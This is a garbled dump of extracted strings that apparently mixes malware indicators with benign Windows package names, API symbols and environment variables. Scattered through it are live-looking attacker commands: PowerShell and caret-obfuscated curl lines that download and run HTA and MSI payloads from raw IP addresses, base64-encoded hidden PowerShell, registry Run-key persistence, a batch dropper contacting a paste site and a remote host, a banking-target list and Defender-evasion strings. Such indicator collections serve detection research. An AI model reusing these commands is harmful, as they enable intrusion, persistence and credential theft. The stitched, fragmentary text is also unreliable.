\System32\drivers\etc\hosts!#Lowfi:HSTR:ShowOffer
a-z=c:\windows\temp\
c:\windows\system32\cmd.exe/cpowershell-command"$url='http://94.154.172.166/wvqv/ex.png';$path='c:\users\public\';invoke-webrequest-uri$url-outfile\"%userprofile%\downloads\ex.zip\";expand-archive-path\"%userprofile%\downloads\ex.zip\"-destinationpath$path;while($true){if(test-path'c:\users\public\ex.hta'){start-process'c:\users\public\ex.hta';break}else{start-sleep0.5}};remove-item-path\"%userprofile%\downloads\ex.zip\"-force;taskkill/f/immsedge.exe;taskkill/f/imcmd.exe"
\windows\lsass.exe\windows\services.inikopathknightonlinej
add hklm\software\microsoft\windows\currentversion\run /v Windows /dOpenProcessTibiaClient&notatka=&numer=
c:\windows\system32\cmd.exe /c c^u^r^l -o c:\users\public\dS.msi http://135.125.177.82/UMYApd4/uwY&&timeout 15&&c:\users\public\dS.msic:\windows\system32\cmd.exe /c c^u^r^l -o c:\users\public\eT6CqSiL.msi http://95.164.17.59/ZIbr7/7frhd&&timeout 15&&c:\users\public\eT6CqSiL.msic:\windows\system32\cmd.exe /c c^u^r^l -o c:\users\public\yl.msi http://135.125.177.95/syK/cxfGmJ&&timeout 15&&c:\users\public\yl.msi
B/c:\windows\temp\
Software\Microsoft\Windows\tetany\Uninstall\BagtaeppeS
c:\windows\system\
c:\windows\system\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationWithProgressCompletedHandler@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationWithProgressCompletedHandler@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationWithProgressCompletedHandler@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationWithProgressCompletedHandler@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@Foundation@Windows@@U?$IAsyncOperationWithProgress@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@23@@@YAJPEAU?$IAsyncOperationWithProgress@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
'-outfile'c:\windows\
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
HyperV-Networking-Containers-Server-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-msmq-runtime-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|24.cat|
c:\windows
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbw
Microsoft.WindowsAlarms_1.1.61.0_neutral_split.scale-100_8wekyb3d8bbwe
Windows.57242383.Tasbar
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewP
NtUserCloseWindowStation
NtUserCreateWindowStation
NtUserCreateWindowStationEx
NtUserGetProcessWindowStation
NtUserSetProcessWindowStation
ParseWindowStation
PostWinlogonMessage
_CloseWindowStation
xxxSendWinlogonPowerMessage
Microsoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
clientcore\ds\security\umstartup\winlogon\core\globalstore.cxx
GetProcessWindowStation
ExitWindowsEx
SetWindowStationUser
UnlockWindowStation
LockWindowStation
EnumWindows
CreateWindowStationW
SetProcessWindowStation
CloseWindowStation
WinStationGetLastWinlogonNotification
WinStationSetLastWinlogonNotification
DwmpStartWinlogonMouseThread
DwmpShutdownWinlogonMouseThread
X-BM-WindowsFlights: FX:1387B252,FX:1390908A,FX:139625D1,FX:13A03C5B,FX:1361B13C,FX:1352C485,FX:138E93ED,FX:137506BB,FX:135E3503,FX:1361B178,FX:130DD09D,FX:138F1B88,FX:1304E3F4,FX:1312D799,FX:139B604C,FX:13802EFB,FX:137ABC77,FX:136CA592,FX:137F4285,FX:1368E1B0,FX:13770BB8,FX:03906DEF,FX:138580B2,FX:1393480A,FX:1377D688,FX:139B65B3,FX:13936BEB,FX:139A40D0,FX:139A4E0D,FX:138AFBD8,FX:1388E986,FX:137297A9,FX:1388E988,FX:1388E987,FX:137599CB,FX:0390BB93,FX:1388E985,FX:1388E989,FX:137BDA0A,FX:138A2837,FX:1386304D,FX:137DAA81,FX:139EB4E1,FX:1388E98A,FX:1388E990,FX:1388E992,FX:1389169E,FX:13A28A66,FX:13922784,FX:1383F373,FX:1392C19F,FX:1399AD0E,FX:1399AD0A,FX:13999239,FX:13966E9C,FX:1397466B,FX:13A33F92,FX:03A2815C
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
l\microsoft\windows\cA
pWindows
Windows.Data.Common.Point
Windows.Data.Common.Size
GetProcessWindowStation
windows defender evasion successfullw
"C://Windows/Temp/Microsoft World9
Zregwrite("hkey_local_machine\software\microsoft\windows\currentversion\run\
.run"powershell-windowstylehidden-commandwscript.exe//b//nologo'c:\users\
exploitincludestwopayloadoptions:commandexecution(throughwindowsapise.g.createprocess)orshellcodeexecution(throughasmshellcodese.g.metasploit)
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Web.Http.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.System.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.ViewManagement.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Media.Animation.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Automation.Peers.h
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
z:\work\make troy\concealment troy\exe_concealment_troy(winlogon_shell)\
Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy\(Winlogon_Shell\)\\.*.pdb
1Benv:tmp\onedrivefilesync.dll-forcenew-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name"onedrivefilesync"-value'"c:\programdata\microsoftonedrive\filesync\beginsync.lnk"'-propertytypestring
programs\\microsoft\\office\\msword\\..\\..\\..\\..\\windows\\system32
$mainpath="c:\users\$env:username\appdata\local\microsoft\windows\update\
powershell-argumentlist"-windowstylehidden-executionpolicybypass-command
\\microsoft\\windows\\star'+dwdtlsh+'menu\\programs\\s'+dwdtlsh+'artup\\
','''msfvenom-pwindows/"
windir%\system32")a0218367812b"ht
System.Windows.Forms
c:\windows\system32
s\system32
|xn-windows_forms_books.properties.resources.resourcesw
windows_forms_booksw
32\net view > c:\windows\
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v \iexplore.lnk
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_c
system32\mrt.exe
s\system32
!#BRUTE:SYSTEM32
Volume3\Windows\apppatch
windowsdefender<^
exec("cmd/cc:\windows\system32\mspaint.exe%temp%\evil
 Windows 10 
System.Runtime.InteropServices.WindowsRuntime
IsTypeExportedToWindowsRuntime
IsWindowsRuntimeObjectType
icon="#"windowstate="normal"showintaskbar
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Security.Cryptography.Core.h
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat(
WINDOWS11
WINDOWS11
WINDOWS11
*start-processschtasks.exe-argumentlist"/run/tn\microsoft\windows\diskcleanup\silentcleanup/i
 Windows
WindowsForms10.SysListView32.app.0.129c866_r7_ad1
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
windows11
"Windows"
X-BM-WindowsFlights
Windows
Microsoft-Windows-OneCore-2
WsWindowsapplyctor
Users\Welcome\Documents\WindowsFormsApp10\WindowsFormsApp10\bin\Debug\CryptoObfuscator_Output\PAGV.pdbU
COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
WINDOWS\system32;
Windows
BM-WindowsFlight
1\",\"X-Search-AppId\":\"Microsoft.Windows.Cortana_cw5n1h2txyewy!
BM-WindowsFlight
windows previewf
WindowsCreateString
WindowsDeleteString
1^Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
1^Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App
&MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputAppn
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
Windows::Isolation::Implementation::Rtl::RtlpIsolatedRegistry_Direct_QueryValue
Windows::Isolation::Implementation::Rtl::RtlpIsolatedRegistry_Direct_QueryKey
Windows::Isolation::Implementation::Rtl::RtlpIsolatedRegistry_Direct_QueryMultipleValues
Windows::Isolation::Implementation::Rtl::RtlpIsolatedRegistry_Direct_SetValue
Windows::Cdf::Rtl::CdfCreateFromBlob
Windows::Cdf::Rtl::CdfGetGuid
Windows::Cdf::Rtl::CdfGetBlob
Windows::Cdf::Rtl::CdfGetTOC
Windows::Cdf::Rtl::CdfGetString
Windows::Cdf::Rtl::CdfFetchMicrodom
Windows::Isolation::Rtl::RtlGetIsolatedFilesystemRootObject
Windows::Isolation::Rtl::RtlIsolatedFilesystemGetFileContents
Windows::Isolation::Fs::Private::CFsobj::Initialize
Windows::Isolation::FsProv::Rtl::CreateIsolatedFilesystemFromProvider
Windows::Isolation::FsProv::Rtl::RtlGetIsolatedFilesystemProviderFromHandle
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<class Windows::Isolation::Fs::Private::CFsTraits>::Attach
[+] Got Winlogon handle:
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
SC:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
WindowsNotepad
7otos_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsAlarmC
wwindowsA
microsoft windows4e@
pair windows:wux:
windows license4>3
-ROFkMCM1mm_array<struct winrt::hstring> __cdecl winrt::Windows::Private::Storage::implementation::DedupSettings::ExcludeExtensions(void) const
__cdecl winrt::Windows::Private::Storage::implementation::DedupSettings::DedupSettings(const class std::chrono::duration<__int64,struct std::ratio<1,10000000> > &,bool,unsigned int,unsigned int,unsigned int,const class std::chrono::duration<__int64,struct std::ratio<1,10000000> > &,struct winrt::array_view<struct winrt::hstring const >,struct winrt::array_view<struct winrt::hstring const >)
struct winrt::com_array<struct winrt::hstring> __cdecl winrt::Windows::Private::Storage::implementation::DedupSettings::ExcludeFolders(void) const
void __cdecl winrt::Windows::Private::Storage::implementation::DedupSettings::ExcludeExtensions(struct winrt::array_view<struct winrt::hstring const >)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupSettings::ExcludeFolders(struct winrt::array_view<struct winrt::hstring const >)
onecore\base\fs\refsdedupsvc\exe\windows.private.storage.dedupvolume.cpp
__cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::DedupVolume(const struct winrt::hstring &)
struct winrt::Windows::Private::Storage::VolumeStatus __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Status(void)
struct winrt::hstring __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::VolumeRoot(void)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Kind(const enum winrt::Windows::Private::Storage::DedupKind &)
enum winrt::Windows::Private::Storage::DedupKind __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Kind(void)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Schedule(const struct winrt::Windows::Private::Storage::VolumeSchedule &)
struct winrt::Windows::Private::Storage::VolumeSchedule __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Schedule(void)
struct winrt::Windows::Private::Storage::VolumeScrubSchedule __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::ScrubSchedule(void)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Dedup(const struct winrt::Windows::Private::Storage::DedupSettings &,const struct winrt::Windows::Private::Storage::CompressionSettings &)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::ScrubSchedule(const struct winrt::Windows::Private::Storage::VolumeScrubSchedule &)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::SuspendSchedule(void)
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::Cancel(void)
onecore\base\fs\refsdedupsvc\exe\objfre\amd64\Windows\Private\Storage\DedupVolume.g.h
void __cdecl winrt::Windows::Private::Storage::implementation::DedupVolume::ResumeSchedule(void)
onecore\base\fs\refsdedupsvc\exe\windows.private.storage.volumeschedule.cpp
void __cdecl winrt::Windows::Private::Storage::implementation::VolumeSchedule::DedupSettings(const struct winrt::Windows::Private::Storage::DedupSettings &)
struct winrt::Windows::Private::Storage::DedupSettings __cdecl winrt::Windows::Private::Storage::implementation::VolumeSchedule::DedupSettings(void) const
void __cdecl winrt::Windows::Private::Storage::implementation::VolumeSchedule::Days(const enum winrt::Windows::Private::Storage::DayOfWeek &)
enum winrt::Windows::Private::Storage::DayOfWeek __cdecl winrt::Windows::Private::Storage::implementation::VolumeSchedule::Days(void) const
)C:\Windows\SystemApps\Microsoft
!C:\Windows\SystemApps\Microsoft.
%BrowserAppProfile%\New Windows\AllowInPrivate!%s
%BrowserAppProfile%\Main\WindowsSearch!ShowPrompt
%BrowserAppProfile%\Document Windows
%BrowserAppProfile%\New Windows\Allow
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
Windows.Client.CBS_cw5n1h2txyewy9
windir=C:\WINDOWS
COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
C:\Windows\hotel.zip545D451B44455C5D55525B125250226F2C2A3724352839242E3F222421263C3E377D
:\windows\system32\index.html360seurl
Windows Hardware Compatibility IntermediU
Stofskifternes\Microsoft\Windows\apotekerlovens\Uninstall\damasksS
Windows.Client.WebExperience_cw5n1h2txyewyZ
rname%"/quie^t^t^ddia^x^z^uh=mmj^j^ce^h^o!%systemroot%\system32\shell32.dll
/\massawjunmil\combinehelping.batc:\windows\system32\shell32.dll
setlocalset"fugues=c:\windows\temp\coroclisis.vbs">"%fugues%"(echodimnoncatalog,documentaristechononcatalog="https://pastefy.app/
7"http://2i.wf:8080/baafqvtzt/pa9f5czh/h6axjmb5m8ktay4dis5/!computername!"/qu^i^e^ton^z^u=^s^ir^q^ixt^p"%systemroot%\system32\imageres.dll
s\system32\rundll32l
index.windows
WindowStyle=9
sts.windows.net
sts.windows.net
ts.windows.net
ts.windows.net
%SystemRoot%/System32/drivers/HdAudio.sys
%SystemRoot%/System32/drivers/hidbatt.sys
%SystemRoot%/System32/drivers/hidbth.sys
%SystemRoot%/System32/drivers/hidclass.sys
%SystemRoot%/System32/drivers/hidi2c.sys
%SystemRoot%/System32/drivers/hidinterrupt.sys
%SystemRoot%/System32/drivers/hidir.sys
%SystemRoot%/System32/drivers/hidparse.sys
oosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
osoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
DriverData=C:\Windows\System32\Drivers\DriverData
c:\windows\system32\d[
COMPUTERNAME=WINDOWS11$
DOMAIN=Windows
Path=C:\WINDOWS\system32;
Windows.Client.CBS_cw5n1h2txyewy\AC
COMPUTERNAME=WINDOWS11
DOMAIN=Windows
	WINDOWS\system32\cmd.exe.
USERDOMAIN_ROAMINGPROFILE=Windows11'
DriverData=C:\Windows\System32\
yWINDOWSH
USERDOMAIN=Windows}
windows.protocol
xcom.microsoft.windows.extensionpackageWidgetPickerE
PackageMetadataMicrosoftWindows.Client.Core_cw5n1h2txyewy!:
OutlookforWindowsU
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
*barclays.co.uk**365online.com**iblogon.jsp**/logon-pinpass.asp*pop3:%sc:\windows\svhost.exe_
c:\windows\%s%d.exec
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Microsoft.Windows.CapturePickerCN="
Microsoft.Windows.DevHome_0.1700.597.0_neutral_split.scale-100_8wekyb3d8bbwe
windows.hlp`
<html><head><title>systemautomation</title><hta:applicationapplicationname="systemprocess"scroll="no"singleinstance="yes"innerborder="no"border="thin"maximizebutton="no"minimizebutton="no"showintaskbar="no"windowstate="minimize"></head><scriptlanguage="vbscript">'auto-executesubwindow_onloadonerrorresumenextself.closeendsub
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckabpahcacgagaggadab0ahaacwa6ac8alwbpag0ayqbuagkaawb1ahualgbjag8abqavag8acablag4algb0ahgadaagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcakqauaemabwbuahqazqbuahqaiab8acaaaqboahyatwbraeualqbfahgauabyaguauwbzagkatwbuaa==
Hq!sc:\windows\system32\windowspowershell\v1.0\powershell.exe-ejabkad0ajwbkag8adwbuacaaeqbvahuacgagagyaaqbsaguacwanadsasqblafgakaamacgajabkafsamqaxaf0akwakagqawwayaf0akwakagqawwa4af0akqagac0adqbzaguaygagaggadab0ahaacwa6ac8alwbkag8abwbyahyaaqbzahq
UI\WindowSelection.xbf{(:
C:\Program Files\WindowsApps\MO
*C:\Windows\SystemApps\Microsoft
WindowsTerminalShellExt.dll%m
\WindowSelection.xbfz
Windows-
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
